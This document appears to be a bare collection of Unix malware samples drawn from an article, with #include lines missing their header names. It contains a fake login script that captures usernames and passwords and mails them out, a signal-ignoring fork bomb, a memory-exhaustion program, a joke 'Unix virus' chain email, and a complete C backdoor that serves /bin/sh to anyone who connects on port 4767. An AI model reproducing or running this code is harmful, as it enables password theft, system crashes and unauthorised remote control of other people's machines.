#! /bin/sh

　　clear
　　cat /etc/issue
　　echo -n "login: "
　　read login
　　echo -n "Password: "
　　stty -echo
　　read passwd
　　stty sane
　　mail $USER <<- fin
        login: $login
        passwd: $passwd
　　fin
　　echo "Login incorrect"
　　sleep 1
　　logout

    #include 
    #include 

  　int main (void)
　　{
  　　int i;
  　　for (i = 0; i < NSIG; i ++)
    　　signal (i, SIG_IGN);
  　　while (1)
    　fork ();
　　}

    #include 

    #define LG      1024

    int main (void) {
  　　char * buffer;
  　　while ((buffer = malloc (LG)) != NULL)
     　　memset (buffer, 0, LG);
  　　while (1)
    　;
　　}

　　主题:Unix病毒
　　你接收到Unix病毒。
　　本病毒依照协作原则工作:
　　如果你使用Linux或者Unix，请将此邮件转发给你
　　　　的朋友并随机地破坏你系统上的一些文件。

    #define _GNU_SOURCE 500
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int main (void)
　　{
    　　int                sock;
    　　int                sockopt;
    　　struct sockaddr_in adresse; /* address */
    　　socklen_t          longueur; /* length */
    　　int                sock2;
    　　int        pty_maitre; /* pty_master */
    　　int        pty_esclave; /* pty_slave */
    　　char *         nom_pty; /* name_pty */
    　　struct termios     termios;
    　　char * args [2] = { "/bin/sh", NULL };
    　　fd_set         set;
    　　char           buffer [4096];
    　　int            n;

    　　sock = socket (AF_INET, SOCK_STREAM, 0);
    　　sockopt = 1;
    　　setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
    　　memset (& adresse, 0, sizeof (struct sockaddr));
    　　adresse . sin_family = AF_INET;
    　　adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    　　adresse . sin_port = htons (PORT_BACKDOOR);
    　　if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
        　　exit (1);
    　　listen (sock, 5);
    　　while (1) {
        　　longueur = sizeof (struct sockaddr_in);
        　　if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
            　　continue;
        　　if (fork () == 0) break;
        　　close (sock2);
    　　}
    　　close (sock);
    　　if ((pty_maitre = getpt()) < 0) exit (1);
    　　grantpt  (pty_maitre);
    　　unlockpt (pty_maitre);
    　　nom_pty = ptsname (pty_maitre);
    　　tcgetattr (STDIN_FILENO, & termios);
    　　if (fork () == 0) {
        　　/* Son: shell execution in the slave
            　　pseudo-TTY */
        　　close (pty_maitre);
        　　setsid();
        　　pty_esclave = open (nom_pty, O_RDWR);
        　　tcsetattr (pty_esclave, TCSANOW, & termios);
        　　dup2 (pty_esclave, STDIN_FILENO);
        　　dup2 (pty_esclave, STDOUT_FILENO);
        　　dup2 (pty_esclave, STDERR_FILENO);
        　　execv (args [0], args);
        　　exit (1);
    　　}
    　　/* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, & termios);
    　　cfmakeraw (& termios);
    　　tcsetattr (pty_maitre, TCSANOW, & termios);
    　　while (1) {
        　　FD_ZERO (& set);
        　　FD_SET (sock2, & set);
        　　FD_SET (pty_maitre, & set);
        　　if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            　　break;
        　　if (FD_ISSET (sock2, &set)) {
            　　if ((n = read (sock2, buffer, 4096)) < 0)
                　　break;
            　　write (pty_maitre, buffer, n);
        　　}
        　　if (FD_ISSET (pty_maitre, &set)) {
            　　if ((n = read (pty_maitre, buffer, 4096)) < 0)
                　　break;
            　　write (sock2, buffer, n);
        　　}
    　　}
    　　return (0);
　　}